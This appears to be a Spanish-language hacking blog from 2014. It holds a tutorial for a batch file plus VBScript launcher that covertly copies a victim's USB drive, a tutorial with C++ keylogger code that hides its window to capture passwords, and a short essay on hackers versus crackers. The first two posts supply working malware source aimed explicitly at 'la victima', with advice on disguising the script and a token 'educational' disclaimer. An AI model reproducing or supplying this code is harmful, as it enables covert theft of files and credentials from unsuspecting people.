domingo, 14 de diciembre de 2014

Archivo batch - Copiando información de manera oculta.






En esta ocasión, implementaremos un script realizado con comandos batch para poder obtener información de cualquier dispositivo de almacenamiento externo.Tan solo debemos ejecutar el código batch y apenas conectemos cualquier dispositivo, se almacenara la información en tu computadora, de esta manera podremos revisar la información guardada en cualquier memoria. Para comenzar un poco de información: 
Un archivo batch es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Los comandos son así como los del MS-DOS. 
Esta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) en MS-DOS. De este modo, evitamos procesos rutinarios y monótonos, acelerando los mismos. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.
Un tipo batch es un archivo de texto que contiene órdenes a ejecutar en un intérprete de órdenes propio de DOS o OS/2. Cuando es iniciado, un programa shell —típicamente command.com o cmd.exe— lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejecutar series de comandos automáticamente. El hecho de que funcione sólo para MS-DOS lo hace muy limitado. Su extensión es .bat o .cmd  Por estas limitaciones, este tipo de scripts trabajan solo en windows. 
Se puede ejecutar en Windows cualquier archivo batch de forma oculta, silenciosa e invisible, de manera que no se muestre el proceso en la consola de CMD. Para eso es necesario crear un script escrito en lenguaje VBScript, que sea el que llame y ejecute el archivo batch y lo ejecute de forma oculta. Los scripts son sencillas aplicaciones auto ejecutables similares a los archivos batch, la diferencia es que contienen código escrito en lenguaje VBScript, una derivación del famoso Visual Basic de Microsoft.
A continuación implementare un archivo .bat que como mencioné al inicio nos permitirá copiar de manera eficaz datos de cualquier dispositivo insertado en un puerto USB de la PC de forma oculta.
NOTA: ahora saben que los el archivo .bat nos sirve para ejecutar una serie de comandos DOS, por lo que nosotros podemos crear cualquier combinación de estos comandos para hacer lo que queramos sobre la pc, de hecho podemos simular un virus con archivos batch, y enviarlos a otros usuario de manera que podamos fastidiar, e incluso arruinar otro computador. Asi que ya saben, ustedes pueden armar sus propias funciones, como yo lo hice con este .bat.
Comenzemos:

*El primer paso es crear un documento .txt en blanco, ahí implementaremos la serie de comandos:



*Ahora abrimos el .txt para trabajar, y copiamos el siguiente código (son comandos DOS para hacer respaldos, aprovechandame de ellos, y al ser comandos los podemos ejecutar desde el cmd, sin embargo los archivos .bat hacen esa tarea):::14/12/2014::Este .bat fue creado con fines educativos, solo pretendo ilustrar tecnicas::de hacking para robar informacion en el mismo equipo::Usar bajo su propio riesgo, no me hago responsable del uso que le den::son libres de copiar, modificar y deistribuir este codigo @ECHO OFFset hora=%time:~0,5%set hora=%hora::=-% set fecha=%date:~0%set fecha=%fecha:/=-%set datos=%fecha% %hora% echo %datos%
set ruta = "D:\COPIA\%datos%"mkdir %ruta% 
MOUNTVOL /R FOR /F "tokens=2 delims=\ " %%A IN ('REG Query "HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:" 5F[0-9A-F]*"') DO ROBOCOPY %%A\ %ruta% /NODD  /V /MIR  /R:0  /W:0 /ETA
*Tratando de explicar el codigo, el comando @ECHO OFF hace que no mostremos ningún tipo de mensaje en el cmd, seguido de las funciones set, algo triviales, simplemente estoy obteniendo la hora y fecha del sistema, y las utilice para nombrar a la carpeta donde guardaremos los datos obtenidos, podemos omitir esa parte de comandos.El siguiente set establece la ruta en donde guardaremos la carpeta con los datos guardados, en mi caso elegí guardarlos en el disco local D, con el nombre de copia, lo que nos resultara que al terminar de copiar todos los archivos, la carpeta de copia estará ahí. El mkdir es un comando que simplemente crea un nuevo documento en la ruta especificada. Finalmente con el for vamos copiando los documentos en el dispositivo insertado, usamos el comando ROBOCOPY para hacerlo, el cual funciona para windows 7 en adelante, y es el comando encargado de copiar los documentos a la ruta definida, en caso de querer implementar el .bat en windows XP necesitaremos cambiar el ROBOCOPY por XCOPY comando nativo de XP, no se preocupen al final subiré este codigo para windows XP. NOTA: utilize el comando ROBOCOPY en vez del comando COPY o XCOPY pues ROBOCOPY tiene mayor velocidad de copiado e incluso puede copiar mas volumen de archivos que los dos comandos mencionadosAsí luce la implementación:


Este fue el pequeño batch que nos copiara los documentos del dispositivo, lo que sigue es guardar el documento con el nombre que gusten y terminación .bat, en mi caso le puse ExploitBatch.bat, al guardarlo nos deberá aparecer en la carpeta un pequeño icono en forma de engranes, ese es el archivo batch.



Hasta este momento hemos concluido la parte principal del tema, con este codigo copiamos la información, sin embargo si ejecutamos el .bat, nos mostrara la ventana del cmd, y obviamente eso no seria bueno frente a los ojos de la victima.Lo que sigue es implementar un pequeño script en lenguaje VBScript que nos guardará la pantalla del cmd mientras se ejecuta el programa.
Para crear el script, lo hacemos de manera similar con un bloc de notas, pero al guardar le pondremos la extensión .vbs, emitiré las imágenes de la implementación, pero aqui está el codigo: 


set objshell = createobject("wscript.shell")
objshell.run "ExploitBatch.bat",vbhide




La opción "vbhide" es la que hace que no se muestre la pantalla al ejecutarse el batch, una vez guardado el codigo como .vbs, nos aparecera otro icono, el cual sera el script que necesitaremos ejecutar para robar información de manera oculta.


Pueden eliminar los archivos .txt no servirán mas, yo guarde el script con el nombre de COPIADOR, pero es claro no debemos de ser tan obvios, pueden ponerle el nombre que quieran. Con esto implementado, podemos llevar el script a el escritorio y cambiarle de icono para disimular, la cuestión es que, cuando la victima nos de su dispositivo de almacenamiento, simplemente ejecutamos el script, este copiará todo, y cuando queramos ver los documentos guardados, simplemente nos dirigimos a el disco local D y buscamos la carpeta que dice copia, la cual guarda la información extraída. 

Para ilustrar el uso, tan solo inserte mi dispositivo de almacenamiento masivo USB, y le di click al script que llevé al escritorio(además del script, deben de llevar igual el archivo batch ):


En la imagen superior podemos ver el momento en el que inserte la memoria usb, y le di click al COPIADOR.vbs, como se puede observar, no aparece la pantalla del cmd, ese erá el objetivo de script, y con solo darle click, ya tenemos copiados los documentos, tan solo nos queda revisar el disco D y encontrar la carpeta llamada buscar, ahi debe estar la información guardada.



Como podemos ver, entré al disco local D, encontre la carpeta llamada COPIA, y ahí estan todos los documentos de mi usb, el cúal igual esta abierto para que puedan ver.Les recuerdo todo el proceso de copiado se realizó de modo incognito con solo ejecutar el script.
En conclusión ahora saben que antes de insertar su memoria usb en el computador de un programador, deben de pensarlo dos veces, es muy fácil robar información en el mismo sistema.
Al final esta la implementación del batch para windows XP en caso de que no les funcione el otro (es para windows después de XP):
Este tutorial lo hice con fines educativos, no me responsabilizo del use que le den, para cualquier aclaración contáctenme en el FB, son libres de usar mi código, para cualquier mejora por favor avisenme, me encantaría saber sobre el desarrollo del mismo. Saludos.









::Implementación para windows xp
::14/12/2014::Este .bat fue creado con fines educativos, solo pretendo ilustrar tecnicas::de hacking para robar informacion en el mismo equipo::Usar bajo su propio riesgo, no me hago responsable del uso que le den::son libres de copiar, modificar y deistribuir este codigo @ECHO OFFset hora=%time:~0,5%set hora=%hora::=-% set fecha=%date:~0%set fecha=%fecha:/=-%set datos=%fecha% %hora% echo %datos%
set ruta = "D:\COPIA\%datos%"mkdir %ruta% 
MOUNTVOL /R FOR /F "tokens=2 delims=\ " %%A IN ('REG Query "HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:" 5F[0-9A-F]*"') DO XCOPY %%A\ %ruta% /NODD  /V /MIR  /R:0  /W:0 /ETA

















sábado, 13 de diciembre de 2014

Obteniendo passwords

Implementación de un keylogger con C++


En esta ocasion le presento la manera de implementar un keylogger con mi lenguaje favorito C++.Un keylogger es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet.
Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.
El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el teclado). Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, las aplicaciones más nuevas también registran screenshots (capturas de pantalla) al realizarse un clic, que anulan la seguridad de esta medida.
En esta ocasión les mostrare una implementación de un keylogger en lenguaje C++, puede hacerse en cualquier otro lenguaje, sin embargo mi fuerte es C. Asi que comenzemos.
El primer paso es abrir un IDE, en mi caso yo prefiero zinjai, y debemos crear un nuevo archivo en blanco con extensión .cpp (un solo archivo fuente será necesario) en su caso, si les gusta modular el código podrán hacerlo sin ningún problema.
Incluimos las librerías fstream, windows.h. La librería nos servirá para poder hacer uso de la creación y escritura sobre los ficheros que necesitamos( en este caso crearemos un txt), la libreria windows.h. nos servirá para poder ocultar la ventana ms-dos (obviamente no queremos que el usuario-objetivo se de cuenta de que estamos interceptando sus datos). No necesitaremos mas librerias que estas.
A continuación necesitamos crear y abrir el fichero en donde guardaremos los datos recolectados, estos datos se guardaran en la carpeta donde tengamos el ejecutable, la creación y apertura del fichero con terminación .txt se hace con los siguiente comandos:
ofstream data; //Creamos el fichero de nombre data
data.open ("data.txt"); // abrimos el fichero existente, si no existe, se crea con ese nombre
Seguidamente debemos definir dos variables, una nos servirá para guardar cada tecla presionada y la otra nos servirá para guardar la concatenación de estos caracteres, definimos estas variables de esta manera:
string cadena; //cadena de tipo string C++
char c; //caracter donde guardaremos las teclas presionadas
El siguiente paso es ocultar la pantalla de ejecución que nos muestra el exe, como ya había dicho, estamos creando una aplicación para interceptar la actividad en el teclado del usuario, por supuesto no queremos que se entere. Ocultamos la pantalla con este comando:
HWND ocultar = FindWindow("ConsoleWindowClass",0);
ShowWindow(ocultar,0);
Ahora procedemos a la implementación de la función que se encargará de monitorear la actividad del teclado, es muy trivial, con leer el código entenderán. El código se muestra a continuación:

while(true){
for (int key = 0; key <=255; key++){
if (GetAsyncKeyState(key) = = -32767){
c = (char)key;
if(key= =13) cadena+='\n';
else{
cadena+=key;}
if(key==27) goto stop;
}
}
}

Explicando un poco el código: hacemos un bucle de ejecución indefinida pues estaremos monitoreando la actividad hasta que vayamos a verificar los datos guardados, recorremos los 255 caracteres ASCII cada vez que se detecte una tecla presionada, y buscamos la respuesta del GetAsyncKeyState() al estimulo,si hay estimulo identificamos que tecla lo produjo, entonces guardamos esa tecla en la cadena de caracteres. La condición de paro de este bucle es encontrar el caracter con codigo ASCII numero 27( la tecla ESC), yo definí esa tecla, podría ser cualquier otra. Con esta definición significa que yo como programador, correré el software en la computadora, y lo detendré presionando la tecla ESC, una vez presionada, revisamos la carpeta del ejecutable y ahi debe de aparecer el archivo txt con todas las teclas presionadas.
Finalmente, como se puede ver en el bucle, utilizamos la sentencia goto para salir de ahi, con goto brincamos a la bandera llamada stop, la cuál definí como sigue:
stop:
        ShowWindow(ocultar,1);
data<<cadena;
data.close();
         Sleep(2000);

Lo que hacemos es mostrar la ventana del ms-dos, claro esta, al finalizar nosotros con ESC, pueden ignorar esa parte no es necesaria. Después guardamos la cadena de caracteres leída en el fichero txt. Y para finalizar cerramos el fichero. Listo, el keylogger ha sido implementado, solo es cuestión de compilar,ejecutar y probar. Les mostrare un poco de como se hace:

Aqui la implementación en zinjai:


Compilamos el programa:



Vamos a la carpeta donde guardamos el codigo .cpp, pues ahí estará el ejecutable después de compilar:



Damos doble click sobre el ejecutable y deberá de verse la ventana del ejecutable a lo máximo medio segundo:


A partir de que aparezca  la ventana, el keylogger esta funcionando, todo lo que ingresemos por el teclado se guardara en el fichero, y cuando digo todo es todo( contraseñas, usuarios, conversaciones) etc.. Un comentario es que la combinación de teclas y teclas especiales no serán correctamente almacenadas, simplemente almacenamos caracteres simples, aqui una prueba de su funcionalidad.
Abrí un editor de texto, ingrese algunas lineas:


Podemos ejecutar este programa durante el tiempo que la victima esté en el computador, cuando creamos que la victima ha finalizado, presionamos la tecla ESC para detener el programa (como les dije, yo elegi esa tecla, si quiere pueden poner la que gusten), y debe salirnos de nuevo la ventana de ejecución por dos segundos.


Cuando desaparezca esta ventana, nos dirigimos a la carpeta en donde teníamos el ejecutable, y ahí debe salir el documento data.txt donde guardamos los datos, simplemente lo abrimos y podremos ver todo lo ingresado por el teclado durante el tiempo que ejecutamos el programa.


Con esto concluyo este pequeño tutorial. Se deben de acostumbrar a lo que diré siempre, este tutorial lo hice con fines educativos, para ilustrar técnicas de hacking, triviales y poderosas, no me responsabilizo por el uso que le den. Sin mas por el momento me despido, espero que les haya gustado este tema, sigan apoyando mi blog mas adelante subiré temas mas complejos. Si tienen dudas sobre este trabajo no duden en contactarme vía facebook, o por este medio.Saludos.

Att. Luis Casanova

jueves, 11 de diciembre de 2014

Fundamentos de seguridad.

Compañeros, aqui le quiero compartir este buen libro llamado Hacking desde cero, espero sea de su agrado.

¿Hacker o cracker?

Cuando escuchamos el la palabra hacker, la mayoría de las personas se emocionan, y a su mente llega aquella imagen de un super espia con tecnología mejor que la de uso científico, con ropa formal, corbata y unos lentes negros. Sin embargo en la vida real no es así, la mayoría empezamos como programadores de software, otros empiezan haciendo bromas, y ademas usamos nuestras propias computadoras, nada fuera de lo normal.
Comencemos con algunas aclaraciones. El término cracker (del inglés crack, romper) tiene varias definiciones, entre las que podemos observar las siguientes: Es una persona que mediante ingeniería inversa realiza: seriales, keygens y cracks, los cuales sirven para modificar el comportamiento o ampliar la funcionalidad del software o hardware original al que se aplican, sin que en absoluto pretenda ser dañino para el usuario del mismo. Una definición mas especifica y conocida en el medio es: un cracker cualquier persona que viola la seguridad de un sistema informático de forma similar a como lo haría un hacker, sólo que a diferencia de este último, el cracker realiza la intrusión con fines de beneficio personal o para hacer daño. El término deriva de la expresión "criminal hacker", y fue creado alrededor de 1985 por contraposición al término hacker, en defensa de éstos últimos por el uso incorrecto del término. Se considera que la actividad realizada por esta clase de cracker es dañina e ilegal.
Por ello los crackers son criticados por la mayoría de hackers, por el desprestigio que les supone ante la opinión pública y las empresas, son aquellos que utilizan sus conocimientos técnicos para perturbar procesos informáticos (Haffner y Markoff, 1995). Pueden considerarse un subgrupo marginal de la comunidad de hackers. En ocasiones el cracking es la única manera de realizar cambios sobre software para el que su fabricante no presta soporte, especialmente cuando lo que se quiere es, o corregir defectos, o exportar datos a nuevas aplicaciones, en estos casos (sólo en estos casos) en la mayoría de legislaciones no se considera el cracking como actividad ilegal..
En nuestro medio,la gente que se dedica cualquier rama de la computacion, un hacker es una persona que pertenece a una de estas comunidades o subculturas distintas pero no completamente independientes:
El emblema hacker, un proyecto para crear un símbolo reconocible para la percepción de la cultura hacker.
Gente apasionada por la seguridad informática. Esto concierne principalmente a entradas remotas no autorizadas por medio de redes de comunicación como Internet ("Black hats").Pero también incluye a aquellos que depuran y arreglan errores en los sistemas ("White hats") y a los de moral ambigua como son los "Grey hats".
Una comunidad de entusiastas programadores y diseñadores de sistemas originada en los sesenta alrededor del Instituto Tecnológico de Massachusetts (MIT), el Tech Model Railroad Club (TMRC) y el Laboratorio de Inteligencia Artificial del MIT.2 Esta comunidad se caracteriza por el lanzamiento del movimiento de software libre. La World Wide Web e Internet en sí misma son creaciones de hackers.3 El RFC 13924 amplia este significado como "persona que se disfruta de un conocimiento profundo del funcionamiento interno de un sistema, en particular de computadoras y redes informáticas" La comunidad de aficionados a la informática doméstica, centrada en el hardware posterior a los setenta y en el software (juegos de ordenador, crackeo de software, la demoscene) de entre los ochenta/noventa.

En la actualidad se usa de forma corriente para referirse mayormente a los criminales informáticos, debido a su utilización masiva por parte de los medios de comunicación desde la década de 1980. A los criminales se le pueden sumar los llamados "script kiddies", gente que invade computadoras, usando programas escritos por otros, y que tiene muy poco conocimiento sobre como funcionan. Este uso parcialmente incorrecto se ha vuelto tan predominante que, en general, un gran segmento de la población no es consciente de que existen diferentes significados.  Mientras que los hackers aficionados reconocen los tres tipos de hackers y los hackers de la seguridad informática aceptan todos los usos del término, los hackers del software libre consideran la referencia a intrusión informática como un uso incorrecto de la palabra, y se refieren a los que rompen los sistemas de seguridad como "crackers" (analogía de "safecracker", que en español se traduce como "un ladrón de cajas fuertes".